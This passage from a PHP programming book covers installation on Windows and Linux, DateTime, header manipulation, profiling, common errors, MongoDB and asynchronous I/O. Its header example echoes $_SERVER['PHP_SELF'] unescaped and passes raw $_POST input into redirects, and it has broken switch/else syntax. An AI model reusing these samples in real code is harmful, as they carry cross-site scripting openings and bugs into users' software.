1. Print, echo: Output from print and echo statements will terminate the opportunity to send HTTP headers. The
application flow must be restructured to avoid that.

2. Raw HTML areas: Unparsed HTML sections in a .php file are direct output as well. Script conditions that will
trigger a header() call must be noted before any raw blocks.

<!DOCTYPE html>
<?php
// Too late for headers already.

3. Whitespace before <?php for "script.php line 1" warnings: If the warning refers to output in line 1, then it's
mostly leading whitespace, text or HTML before the opening <?php token.

<?php
# There's a SINGLE space/newline before <? - Which already seals it.

Reference from SO answer by Mario

Chapter 58: Installing a PHP environment on Windows

Section 58.1: Download, Install and use WAMP
WampServer is a Windows web development environment. It allows you to create web applications with Apache2,
PHP and a MySQL database. Alongside, PhpMyAdmin allows you to manage easily your databases.

WampServer is available for free (under GPML license) in two distinct versions : 32 and 64 bits. Wampserver 2.5 is
not compatible with Windows XP, neither with SP3, nor Windows Server 2003. Older WampServer versions are
available on SourceForge.

WampServer versions:

WampServer (64 BITS) 3

WampServer (32 BITS) 3

Providing currently:

Apache: 2.4.18
MySQL: 5.7.11
PHP: 5.6.19 & 7.0.4

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Installation is simple, just execute the installer, choose the location and finish it.

Once that is done, you may start WampServer. Then it starts in the system tray (taskbar), initially red in color and
then turns green once the server is up.

You may goto a browser and type localhost or 127.0.0.1 to get the index page of WAMP. You may work on PHP
locally from now by storing the files in <PATH_TO_WAMP>/www/<php_or_html_file> and check the result on
http://localhost/<php_or_html_file_name>

Section 58.2: Install PHP and use it with IIS

First of all you need to have IIS (Internet Information Services) installed and running on your machine; IIS isn't
available by default, you have to add the characteristic from Control Panel -> Programs -> Windows Characteristics.

1. Download the PHP version you like from http://windows.php.net/download/ and make sure you download
the Non-Thread Safe (NTS) versions of PHP.
2. Extract the files into C:\PHP\.
3. Open the Internet Information Services Administrator IIS.
4. Select the root item in the left panel.
5. Double click on Handler Mappings.
6. On the right side panel click on Add Module Mapping.
7. Setup the values like this:

Request Path: *.php

Module: FastCgiModule
Executable: C:\PHP\php-cgi.exe
Name: PHP_FastCGI
Request Restrictions: Folder or File, All Verbs, Access: Script

8. Install vcredist_x64.exe or vcredist_x86.exe (Visual C++ 2012 Redistributable) from

https://www.microsoft.com/en-US/download/details.aspx?id=30679

9. Setup your C:\PHP\php.ini, especially set the extension_dir ="C:\PHP\ext".

10. Reset IIS: In a DOS command console type IISRESET.

Optionally you can install the PHP Manager for IIS which is of great help to setup the ini file and track the log of
errors (doesn't work on Windows 10).

Remember to set index.php as one of the default documents for IIS.

If you followed the installation guide now you are ready to test PHP.

Just like Linux, IIS has a directory structure on the server, the root of this tree is C:\inetpub\wwwroot\, here is the
point of entry for all your public files and PHP scripts.

Now use your favorite editor, or just Windows Notepad, and type the following:

<?php
header('Content-Type: text/html; charset=UTF-8');
echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>';

Save the file under C:\inetpub\wwwroot\index.php using the UTF-8 format (without BOM).

Complete PHP Tips & Secrets for Professionals 268

Then open your brand new website using your browser on this address: http://localhost/index.php

Section 58.3: Download and Install XAMPP

What is XAMPP?

XAMPP is the most popular PHP development environment. XAMPP is a completely free, open-source and easy to
install Apache distribution containing MariaDB, PHP, and Perl.

Where should I download it from?

Download appropriate stable XAMPP version from their download page. Choose the download based on the type of
OS (32 or 64bit and OS version) and the PHP version it has to support.

Current latest being XAMPP for Windows 7.0.8 / PHP 7.0.8.

Or you can follow this:

XAMPP for Windows exists in three different flavors:

Installer (Probably .exe format the easiest way to install XAMPP)

ZIP (For purists: XAMPP as ordinary ZIP .zip format archive)
7zip: (For purists with low bandwidth: XAMPP as 7zip .7zip format archive)

How to install and where should I place my PHP/html files?

Install with the provided installer

1. Execute the XAMPP server installer by double clicking the downloaded .exe.

Install from the ZIP

1. Unzip the zip archives into the folder of your choice.

2. XAMPP is extracting to the subdirectory C:\xampp below the selected target directory.
3. Now start the file setup_xampp.bat, to adjust the XAMPP configuration to your system.

Note: If you choose a root directory C:\ as target, you must not start setup_xampp.bat.

Post-Install

Use the "XAMPP Control Panel" for additional tasks, like starting/stopping Apache, MySQL, FileZilla and Mercury or
installing these as services.

File handling

The installation is a straight forward process and once the installation is complete you may add html/php files to be
hosted on the server in XAMPP-root/htdocs/. Then start the server and open http://localhost/file.php on a
browser to view the page.

Note: Default XAMPP root in Windows is C:/xampp/htdocs/

Type in one of the following URLs in your favourite web browser:

http://localhost/
http://127.0.0.1/

Now you should see the XAMPP start page.

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Chapter 59: Datetime Class
Section 59.1: Create Immutable version of DateTime from Mutable prior
PHP 5.6
To create \DateTimeImmutable in PHP 5.6+ use:

\DateTimeImmutable::createFromMutable($concrete);

Prior PHP 5.6 you can use:

\DateTimeImmutable::createFromFormat(\DateTime::ISO8601, $mutable->format(\DateTime::ISO8601),
$mutable->getTimezone());

Section 59.2: Add or Subtract Date Intervals

We can use the class DateInterval to add or subtract some interval in a DateTime object.

See the example below, where we are adding an interval of 7 days and printing a message on the screen:

Complete PHP Tips & Secrets for Professionals 270

$now = new DateTime();// empty argument returns the current date
$interval = new DateInterval('P7D');//this objet represents a 7 days interval
$lastDay = $now->add($interval); //this will return a DateTime object
$formatedLastDay = $lastDay->format('Y-m-d');//this method format the DateTime object and returns a
String
echo "Samara says: Seven Days. You'll be happy on $formatedLastDay.";

This will output (running on Aug 1st, 2016):

Samara says: Seven Days. You'll be happy on 2016-08-08.

We can use the sub method in a similar way to subtract dates

$now->sub($interval);
echo "Samara says: Seven Days. You were happy last on $formatedLastDay.";

This will output (running on Aug 1st, 2016):

Samara says: Seven Days. You were happy last on 2016-07-25.

Section 59.3: getTimestamp

getTimeStemp is a unix representation of a datetime object.

$date = new DateTime();

echo $date->getTimestamp();

this will out put an integer indication the seconds that have elapsed since 00:00:00 UTC, Thursday, 1 January 1970.

Section 59.4: setDate

setDate sets the date in a DateTime object.

$date = new DateTime();

$date->setDate(2016, 7, 25);

this example sets the date to be the twenty-fifth of July, 2015, it will produce the following result:

2016-07-25 17:52:15.819442

Section 59.5: Create DateTime from custom format

PHP is able to parse a number of date formats. If you want to parse a non-standard format, or if you want your
code to explicitly state the format to be used, then you can use the static DateTime::createFromFormat method:

Object oriented style

$format = "Y,m,d";
$time = "2009,2,26";
$date = DateTime::createFromFormat($format, $time);

Procedural style

$format = "Y,m,d";
$time = "2009,2,26";
$date = date_create_from_format($format, $time);

Section 59.6: Printing DateTimes

PHP 4+ supplies a method, format that converts a DateTime object into a string with a desired format. According to

Complete PHP Tips & Secrets for Professionals 271

PHP Manual, this is the object oriented function:

public string DateTime::format ( string $format )

The function date() takes one parameters - a format, which is a string

Format

The format is a string, and uses single characters to define the format:

Y: four digit representation of the year (eg: 2016)

y: two digit representation of the year (eg: 16)
m: month, as a number (01 to 12)
M: month, as three letters (Jan, Feb, Mar, etc)
j: day of the month, with no leading zeroes (1 to 31)
D: day of the week, as three letters (Mon, Tue, Wed, etc)
h: hour (12-hour format) (01 to 12)
H: hour (24-hour format) (00 to 23)
A: either AM or PM
i: minute, with leading zeroes (00 to 59)
s: second, with leading zeroes (00 to 59)
The complete list can be found here

Usage

These characters can be used in various combinations to display times in virtually any format. Here are some
examples:

$date = new DateTime('2000-05-26T13:30:20'); /* Friday, May 26, 2000 at 1:30:20 PM */

$date->format("H:i");
/* Returns 13:30 */

$date->format("H i s");
/* Returns 13 30 20 */

$date->format("h:i:s A");
/* Returns 01:30:20 PM */

$date->format("j/m/Y");
/* Returns 26/05/2000 */

$date->format("D, M j 'y - h:i A");

/* Returns Fri, May 26 '00 - 01:30 PM */
Procedural

The procedural format is similar:

Object-Oriented
$date->format($format)
Procedural Equivalent
date_format($date, $format)

Chapter 60: Headers Manipulation

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Section 60.1: Basic Setting of a Header
Here is a basic setting of the Header to change to a new page when a button is clicked.

if(isset($_REQUEST['action']))
{
switch($_REQUEST['action'])
{ //Setting the Header based on which button is clicked
case 'getState':
header("Location: http://NewPageForState.com/getState.php?search=" . $_POST['search']);
break;
case 'getProject':
header("Location: http://NewPageForProject.com/getProject.php?search=" .
$_POST['search']);
break;
}
else
{
GetSearchTerm(!NULL);
}
//Forms to enter a State or Project and click search
function GetSearchTerm($success)
{
if (is_null($success))
{
echo "<h4>You must enter a state or project number</h4>";
}
echo "<center><strong>Enter the State to search for</strong></center><p></p>";
//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines where to
go
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'>
<input type='hidden' name='action' value='getState'>
<center>State: <input type='text' name='search' size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search State'></center>
</form>";

GetSearchTermProject($success);
}

function GetSearchTermProject($success)
{
echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'>
<input type='hidden' name='action' value='getProject'>
<center>Project Number: <input type='text' name='search' size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search Project'></center>
</form>";
}

?>

Chapter 61: Performance

Section 61.1: Profiling with Xdebug
An extension to PHP called Xdebug is available to assist in profiling PHP applications, as well as runtime debugging.
When running the profiler, the output is written to a file in a binary format called "cachegrind". Applications are
available on each platform to analyze these files.

To enable profiling, install the extension and adjust php.ini settings. In our example we will run the profile

Complete PHP Tips & Secrets for Professionals 273

optionally based on a request parameter. This allows us to keep settings static and turn on the profiler only as
needed.

// Set to 1 to turn it on for every request

xdebug.profiler_enable = 0
// Let's use a GET/POST parameter to turn on the profiler
xdebug.profiler_enable_trigger = 1
// The GET/POST value we will pass; empty for any value
xdebug.profiler_enable_trigger_value = ""
// Output cachegrind files to /tmp so our system cleans them up later
xdebug.profiler_output_dir = "/tmp"
xdebug.profiler_output_name = "cachegrind.out.%p"

Next use a web client to make a request to your application's URL you wish to profile, e.g.

http://example.com/article/1?XDEBUG_PROFILE=1

As the page processes it will write to a file with a name similar to

/tmp/cachegrind.out.12345

Note that it will write one file for each PHP request / process that is executed. So, for example, if you wish to
analyze a form post, one profile will be written for the GET request to display the HTML form. The XDEBUG_PROFILE
parameter will need to be passed into the subsequent POST request to analyze the second request which
processes the form. Therefore when profiling it is sometimes easier to run curl to POST a form directly.

Once written the profile cache can be read by an application such as KCachegrind.

Complete PHP Tips & Secrets for Professionals 274

This will display information including:

Functions executed
Call time, both itself and inclusive of subsequent function calls
Number of times each function is called
Call graphs
Links to source code

Obviously performance tuning is very specific to each application's use cases. In general it's good to look for:

Repeated calls to the same function you wouldn't expect to see. For functions that process and query data
these could be prime opportunities for your application to cache.
Slow-running functions. Where is the application spending most of its time? the best payoff in performance
tuning is focusing on those parts of the application which consume the most time.

Note: Xdebug, and in particular its profiling features, are very resource intensive and slow down PHP execution. It is
recommended to not run these in a production server environment.

Section 61.2: Memory Usage

PHP's runtime memory limit is set through the INI directive memory_limit. This setting prevents any single
execution of PHP from using up too much memory, exhausting it for other scripts and system software. The

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memory limit defaults to 128M and can be changed in the php.ini file or at runtime. It can be set to have no limit,
but this is generally considered bad practice.

The exact memory usage used during runtime can be determined by calling memory_get_usage(). It returns the
number of bytes of memory allocated to the currently running script. As of PHP 5.2, it has one optional boolean
parameter to get the total allocated system memory, as opposed to the memory that's actively being used by PHP.

<?php
echo memory_get_usage() . "\n";
// Outputs 350688 (or similar, depending on system and PHP version)

// Let's use up some RAM

$array = array_fill(0, 1000, 'abc');

echo memory_get_usage() . "\n";

// Outputs 387704

// Remove the array from memory

unset($array);

echo memory_get_usage() . "\n";

// Outputs 350784

Now memory_get_usage gives you memory usage at the moment it is run. Between calls to this function you may
allocate and deallocate other things in memory. To get the maximum amount of memory used up to a certain
point, call memory_get_peak_usage().

<?php
echo memory_get_peak_usage() . "\n";
// 385688
$array = array_fill(0, 1000, 'abc');
echo memory_get_peak_usage() . "\n";
// 422736
unset($array);
echo memory_get_peak_usage() . "\n";
// 422776

Notice the value will only go up or stay constant.

Section 61.3: Profiling with XHProf

XHProf is a PHP profiler originally written by Facebook, to provide a more lightweight alternative to XDebug.

After installing the xhprof PHP module, profiling can be enabled / disabled from PHP code:

xhprof_enable();
doSlowOperation();
$profile_data = xhprof_disable();

The returned array will contain data about the number of calls, CPU time and memory usage of each function that
has been accessed inside doSlowOperation().

xhprof_sample_enable()/xhprof_sample_disable() can be used as a more lightweight option that will only log
profiling information for a fraction of requests (and in a different format).

XHProf has some (mostly undocumented) helper functions to display the data (see example), or you can use other
tools to visualize it (the platform.sh blog has an example).

Complete PHP Tips & Secrets for Professionals 276

Chapter 62: Common Errors
Section 62.1: Call fetch_assoc on boolean
If you get an error like this:

Fatal error: Call to a member function fetch_assoc() on boolean in C:\xampp\htdocs\stack\index.php

on line 7

Other variations include something along the lines of:

mysql_fetch_assoc() expects parameter 1 to be resource, boolean given...

These errors mean that there is something wrong with either your query (this is a PHP/MySQL error), or your
referencing. The above error was produced by the following code:

$mysqli = new mysqli("localhost", "root", "");

$query = "SELCT * FROM db"; // notice the errors here

$result = $mysqli->query($query);

$row = $result->fetch_assoc();

In order to "fix" this error, it is recommended to make mysql throw exceptions instead:

// add this at the start of the script

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

This will then throw an exception with this much more helpful message instead:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near 'SELCT * FROM db' at line 1

Another example that would produce a similar error, is where you simply just gave the wrong information to the
mysql_fetch_assoc function or similar:

$john = true;
mysqli_fetch_assoc($john, $mysqli); // this makes no sense??

Section 62.2: Unexpected $end

Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\stack\index.php on line 4

If you get an error like this (or sometimes unexpected $end, depending on PHP version), you will need to make sure
that you've matched up all inverted commas, all parentheses, all curly braces, all brackets, etc.

The following code produced the above error:

<?php
if (true) {
echo "asdf";
?>

Notice the missing curly brace. Also do note that the line number shown for this error is irrelevant - it always shows
the last line of your document.

Chapter 63: Installing on Linux/Unix Environments

Complete PHP Tips & Secrets for Professionals 277

Section 63.1: Command Line Install Using APT for PHP 7
This will only install PHP. If you wish to serve a PHP file to the web you will also need to install a web-server such as
Apache, Nginx, or use PHP's built in web-server (php version 5.4+).

If you are in a Ubuntu version below 16.04 and want to use PHP 7 anyway, you can add Ondrej's PPA repository by
doing: sudo add-apt-repository ppa:ondrej/php

Make sure that all of your repositories are up to date:

sudo apt-get update

After updating your system's repositories, install PHP:

sudo apt-get install php7.0

Let's test the installation by checking the PHP version:

php --version

This should output something like this.

Note: Your output will be slightly different.

PHP 7.0.8-0ubuntu0.16.04.1 (cli) ( NTS )

Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.8-0ubuntu0.16.04.1, Copyright (c) 1999-2016, by Zend Technologies
with Xdebug v2.4.0, Copyright (c) 2002-2016, by Derick Rethans

You now have the capability to run PHP from the command line.

Section 63.2: Installing in Enterprise Linux distributions (CentOS, Scientific

Linux, etc)
Use the yum command to manage packages in Enterprise Linux-based operating systems:

yum install php

This installs a minimal install of PHP including some common features. If you need additional modules, you will
need to install them separately. Once again, you can use yum to search for these packages:

yum search php-*

Example output:

php-bcmath.x86_64 : A module for PHP applications for using the bcmath library
php-cli.x86_64 : Command-line interface for PHP
php-common.x86_64 : Common files for PHP
php-dba.x86_64 : A database abstraction layer module for PHP applications
php-devel.x86_64 : Files needed for building PHP extensions
php-embedded.x86_64 : PHP library for embedding in applications
php-enchant.x86_64 : Human Language and Character Encoding Support
php-gd.x86_64 : A module for PHP applications for using the gd graphics library
php-imap.x86_64 : A module for PHP applications that use IMAP

To install the gd library:

yum install php-gd

Complete PHP Tips & Secrets for Professionals 278

Enterprise Linux distributions have always been conservative with updates, and typically do not update beyond the
point release they shipped with. A number of third party repositories provide current versions of PHP:

IUS
Remi Colette
Webtatic

IUS and Webtatic provide replacement packages with different names (e.g. php56u or php56w to install PHP 5.6)
while Remi's repository provides in-place upgrades by using the same names as the system packages.

Following are instructions on installing PHP 7.0 from Remi's repository. This is the simplest example, as uninstalling
the system packages is not required.

# download the RPMs; replace 6 with 7 in case of EL 7

wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm
wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm
# install the repository information
rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm
# enable the repository
yum-config-manager --enable epel --enable remi --enable remi-safe --enable remi-php70
# install the new version of PHP
# NOTE: if you already have the system package installed, this will update it
yum install php

Chapter 64: Contributing to the PHP Core

Section 64.1: Setting up a basic development environment
PHP's source code is hosted on GitHub. To build from source you will first need to check out a working copy of the
code.

mkdir /usr/local/src/php-7.0/
cd /usr/local/src/php-7.0/
git clone -b PHP-7.0 https://github.com/php/php-src .

If you want to add a feature, it's best to create your own branch.

git checkout -b my_private_branch

Finally, configure and build PHP

./buildconf
./configure
make
make test
make install

If configuration fails due to missing dependencies, you will need to use your operating system's package
management system to install them (e.g. yum, apt, etc.) or download and compile them from source.

Chapter 65: Coding Conventions

Section 65.1: PHP Tags
You should always use <?php ?> tags or short-echo tags <?= ?>. Other variations (in particular, short tags <? ?>)
should not be used as they are commonly disabled by system administrators.

When a file is not expected to produce output (the entire file is PHP code) the closing ?> syntax should be omitted

Complete PHP Tips & Secrets for Professionals 279

to avoid unintentional output, which can cause problems when a client parses the document, in particular some
browsers fail to recognise the <!DOCTYPE tag and activate Quirks Mode.

Example of a simple PHP script:

<?php

print "Hello World";

Example class definition file:

<?php

class Foo
{
...
}

Example of PHP embedded in HTML:

<ul id="nav">
<?php foreach ($navItems as $navItem): ?>
<li><a href="<?= htmlspecialchars($navItem->url) ?>">
<?= htmlspecialchars($navItem->label) ?>
</a></li>
<?php endforeach; ?>
</ul>

Chapter 66: Using MongoDB

Section 66.1: Connect to MongoDB
Create a MongoDB connection, that later you can query:

$manager = new \MongoDB\Driver\Manager('mongodb://localhost:27017');

In the next example, you will learn how to query the connection object.

This extension close the connection automatically, it's not necessary to close manually.

Section 66.2: Get multiple documents - find()

Example for searching multiple users with the name "Mike":

$filter = ['name' => 'Mike'];

$query = new \MongoDB\Driver\Query($filter);

$cursor = $manager->executeQuery('database_name.collection_name', $query);

foreach ($cursor as $doc) {
var_dump($doc);
}

Section 66.3: Get one document - findOne()

Example for searching just one user with a specific id, you should do:

$options = ['limit' => 1];

$filter = ['_id' => new \MongoDB\BSON\ObjectID('578ff7c3648c940e008b457a')];
$query = new \MongoDB\Driver\Query($filter, $options);

Complete PHP Tips & Secrets for Professionals 280

$cursor = $manager->executeQuery('database_name.collection_name', $query);
$cursorArray = $cursor->toArray();
if(isset($cursorArray[0])) {
var_dump($cursorArray[0]);
}

Section 66.4: Insert document

Example for adding a document:

$document = [
'name' => 'John',
'active' => true,
'info' => ['genre' => 'male', 'age' => 30]
];
$bulk = new \MongoDB\Driver\BulkWrite;
$_id1 = $bulk->insert($document);
$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

Section 66.5: Update a document

Example for updating all documents where name is equal to "John":

$filter = ['name' => 'John'];

$document = ['name' => 'Mike'];

$bulk = new \MongoDB\Driver\BulkWrite;

$bulk->update(
$filter,
$document,
['multi' => true]
);
$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

Section 66.6: Delete a document

Example for deleting all documents where name is equal to "Peter":

$bulk = new \MongoDB\Driver\BulkWrite;

$filter = ['name' => 'Peter'];

$bulk->delete($filter);

$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

Chapter 67: Asynchronous programming

Section 67.1: Advantages of Generators
PHP 5.5 introduces Generators and the yield keyword, which allows us to write asynchronous code that looks more
like synchronous code.

The yield expression is responsible for giving control back to the calling code and providing a point of resumption
at that place. One can send a value along the yield instruction. The return value of this expression is either null or
the value which was passed to Generator::send().

function reverse_range($i) {
// the mere presence of the yield keyword in this function makes this a Generator
do {
// $i is retained between resumptions

Complete PHP Tips & Secrets for Professionals 281

 print yield $i;
} while (--$i > 0);
}

$gen = reverse_range(5);
print $gen->current();
$gen->send("injected!"); // send also resumes the Generator

foreach ($gen as $val) { // loops over the Generator, resuming it upon each iteration
echo $val;
}

// Output: 5injected!4321

This mechanism can be used by a coroutine implementation to wait for Awaitables yielded by the Generator (by
registering itself as a callback for resolution) and continue execution of the Generator as soon as the Awaitable is
resolved.

Section 67.2: Using Icicle event loop

Icicle uses Awaitables and Generators to create Coroutines.

require __DIR__ . '/vendor/autoload.php';

use Icicle\Awaitable;
use Icicle\Coroutine\Coroutine;
use Icicle\Loop;

$generator = function (float $time) {

try {
// Sets $start to the value returned by microtime() after approx. $time seconds.
$start = yield Awaitable\resolve(microtime(true))->delay($time);

echo "Sleep time: ", microtime(true) - $start, "\n";

// Throws the exception from the rejected awaitable into the coroutine.
return yield Awaitable\reject(new Exception('Rejected awaitable'));
} catch (Throwable $e) { // Catches awaitable rejection reason.
echo "Caught exception: ", $e->getMessage(), "\n";
}

return yield Awaitable\resolve('Coroutine completed');

};

// Coroutine sleeps for 1.2 seconds, then will resolve with a string.
$coroutine = new Coroutine($generator(1.2));
$coroutine->done(function (string $data) {
echo $data, "\n";
});

Loop\run();

Section 67.3: Spawning non-blocking processes with proc_open()

PHP has no support for running code concurrently unless you install extensions such as pthread. This can be
sometimes bypassed by using proc_open() and stream_set_blocking() and reading their output asynchronously.

If we split code into smaller chunks we can run it as multiple suprocesses. Then using stream_set_blocking()
function we can make each subprocess also non-blocking. This means we can spawn multiple subprocesses and
then check for their output in a loop (similarly to an even loop) and wait until all of them finish.

Complete PHP Tips & Secrets for Professionals 282

As an example we can have a small subprocess that just runs a loop and in each iteration sleeps randomly for 100 -
1000ms (note, the delay is always the same for one subprocess).

<?php
// subprocess.php
$name = $argv[1];
$delay = rand(1, 10) * 100;
printf("$name delay: ${delay}ms\n");

for ($i = 0; $i < 5; $i++) {

usleep($delay * 1000);
printf("$name: $i\n");
}

Then the main process will spawn subprocesses and read their output. We can split it into smaller blocks:

Spawn subprocesses with proc_open() .

Make each subprocess non-blocking with stream_set_blocking().
Run a loop until all subprocesses finish using proc_get_status().
Properly close file handles with the output pipe for each subprocess using fclose() and close process
handles with proc_close().

<?php
// non-blocking-proc_open.php
// File descriptors for each subprocess.
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
];

$pipes = [];
$processes = [];
foreach (range(1, 3) as $i) {
// Spawn a subprocess.
$proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes);
$processes[$i] = $proc;
// Make the subprocess non-blocking (only output pipe).
stream_set_blocking($procPipes[1], 0);
$pipes[$i] = $procPipes;
}

// Run in a loop until all subprocesses finish.

while (array_filter($processes, function($proc) { return proc_get_status($proc)['running']; })) {
foreach (range(1, 3) as $i) {
usleep(10 * 1000); // 100ms
// Read all available output (unread output is buffered).
$str = fread($pipes[$i][1], 1024);
if ($str) {
printf($str);
}
}
}

// Close all pipes and processes.

foreach (range(1, 3) as $i) {
fclose($pipes[$i][1]);
proc_close($processes[$i]);
}

The output then contains mixture from all three subprocesses as they we're read by fread() (note, that in this case
proc1 ended much earlier than the other two):

Complete PHP Tips & Secrets for Professionals 283

$ php non-blocking-proc_open.php
proc1 delay: 200ms
proc2 delay: 1000ms
proc3 delay: 800ms
proc1: 0
proc1: 1
proc1: 2
proc1: 3
proc3: 0
proc1: 4
proc2: 0
proc3: 1
proc2: 1
proc3: 2
proc2: 2
proc3: 3
proc2: 3
proc3: 4
proc2: 4

Section 67.4: Reading serial port with Event and DIO

DIO streams are currently not recognized by the Event extension. There is no clean way to obtain the file descriptor
encapsulated into the DIO resource. But there is a workaround:

open stream for the port with fopen();

make the stream non-blocking with stream_set_blocking();
obtain numeric file descriptor from the stream with EventUtil::getSocketFd();
pass the numeric file descriptor to dio_fdopen() (currently undocumented) and get the DIO resource;
add an Event with a callback for listening to the read events on the file descriptor;
in the callback drain the available data and process it according to the logic of your application.

dio.php

<?php
class Scanner {
protected $port; // port path, e.g. /dev/pts/5
protected $fd; // numeric file descriptor
protected $base; // EventBase
protected $dio; // dio resource
protected $e_open; // Event
protected $e_read; // Event

public function __construct ($port) {

$this->port = $port;
$this->base = new EventBase();
}

public function __destruct() {

$this->base->exit();

if ($this->e_open)
$this->e_open->free();
if ($this->e_read)
$this->e_read->free();
if ($this->dio)
dio_close($this->dio);
}

public function run() {

Complete PHP Tips & Secrets for Professionals 284

 $stream = fopen($this->port, 'rb');
stream_set_blocking($stream, false);

$this->fd = EventUtil::getSocketFd($stream);
if ($this->fd < 0) {
fprintf(STDERR, "Failed attach to port, events: %d\n", $events);
return;
}

$this->e_open = new Event($this->base, $this->fd, Event::WRITE, [$this, '_onOpen']);

$this->e_open->add();
$this->base->dispatch();

fclose($stream);
}

public function _onOpen($fd, $events) {

$this->e_open->del();

$this->dio = dio_fdopen($this->fd);
// Call other dio functions here, e.g.
dio_tcsetattr($this->dio, [
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
]);

$this->e_read = new Event($this->base, $this->fd, Event::READ | Event::PERSIST,

[$this, '_onRead']);
$this->e_read->add();
}

public function _onRead($fd, $events) {

while ($data = dio_read($this->dio, 1)) {
var_dump($data);
}
}
}

// Change the port argument

$scanner = new Scanner('/dev/pts/5');
$scanner->run();
Testing

Run the following command in terminal A:

$ socat -d -d pty,raw,echo=0 pty,raw,echo=0

2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/5
2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/8
2016/12/01 18:04:06 socat[16750] N starting data transfer loop with FDs [5,5] and [7,7]

The output may be different. Use the PTYs from the first couple of rows (/dev/pts/5 and /dev/pts/8, in particular).

In terminal B run the above-mentioned script. You may need root privileges:

$ sudo php dio.php

In terminal C send a string to the first PTY:

$ echo test > /dev/pts/8

Complete PHP Tips & Secrets for Professionals 285

Output

string(1) "t"
string(1) "e"
string(1) "s"
string(1) "t"
string(1) "
"

Section 67.5: HTTP Client Based on Event Extension

This is a sample HTTP client class based on Event extension.

The class allows to schedule a number of HTTP requests, then run them asynchronously.

http-client.php
<?php
class MyHttpClient {
/// @var EventBase
protected $base;
/// @var array Instances of EventHttpConnection
protected $connections = [];

public function __construct() {

$this->base = new EventBase();
}

/**
* Dispatches all pending requests (events)
*
* @return void
*/
public function run() {
$this->base->dispatch();
}

public function __destruct() {

// Destroy connection objects explicitly, don't wait for GC.
// Otherwise, EventBase may be free'd earlier.
$this->connections = null;
}

/**
* @brief Adds a pending HTTP request
*
* @param string $address Hostname, or IP
* @param int $port Port number
* @param array $headers Extra HTTP headers
* @param int $cmd A EventHttpRequest::CMD_* constant
* @param string $resource HTTP request resource, e.g. '/page?a=b&c=d'
*
* @return EventHttpRequest|false
*/
public function addRequest($address, $port, array $headers,
$cmd = EventHttpRequest::CMD_GET, $resource = '/')
{
$conn = new EventHttpConnection($this->base, null, $address, $port);
$conn->setTimeout(5);

$req = new EventHttpRequest([$this, '_requestHandler'], $this->base);

foreach ($headers as $k => $v) {

Complete PHP Tips & Secrets for Professionals 286

 $req->addHeader($k, $v, EventHttpRequest::OUTPUT_HEADER);
}
$req->addHeader('Host', $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER);
if ($conn->makeRequest($req, $cmd, $resource)) {
$this->connections []= $conn;
return $req;
}

return false;
}

/**
* @brief Handles an HTTP request
*
* @param EventHttpRequest $req
* @param mixed $unused
*
* @return void
*/
public function _requestHandler($req, $unused) {
if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}
}
}

$address = "my-host.local";
$port = 80;
$headers = [ 'User-Agent' => 'My-User-Agent/1.0', ];

$client = new MyHttpClient();

// Add pending requests

for ($i = 0; $i < 10; $i++) {
$client->addRequest($address, $port, $headers,
EventHttpRequest::CMD_GET, '/test.php?a=' . $i);
}

// Dispatch pending requests

$client->run();
test.php

This is a sample script on the server side.

Complete PHP Tips & Secrets for Professionals 287

<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL;
Usage
php http-client.php

Sample Output

Success: 200
Body:
GET: array (
'a' => '1',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '0',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '3',
)
...

(Trimmed.)

Note, the code is designed for long-term processing in the CLI SAPI.

Section 67.6: HTTP Client Based on Ev Extension

This is a sample HTTP client based on Ev extension.

Ev extension implements a simple yet powerful general purpose event loop. It doesn't provide network-specific
watchers, but its I/O watcher can be used for asynchronous processing of sockets.

The following code shows how HTTP requests can be scheduled for parallel processing.

http-client.php
<?php
class MyHttpRequest {
/// @var MyHttpClient
private $http_client;
/// @var string
private $address;
/// @var string HTTP resource such as /page?get=param
private $resource;
/// @var string HTTP method such as GET, POST etc.
private $method;
/// @var int
private $service_port;
/// @var resource Socket
private $socket;
/// @var double Connection timeout in seconds.
private $timeout = 10.;
/// @var int Chunk size in bytes for socket_recv()
private $chunk_size = 20;
/// @var EvTimer
private $timeout_watcher;

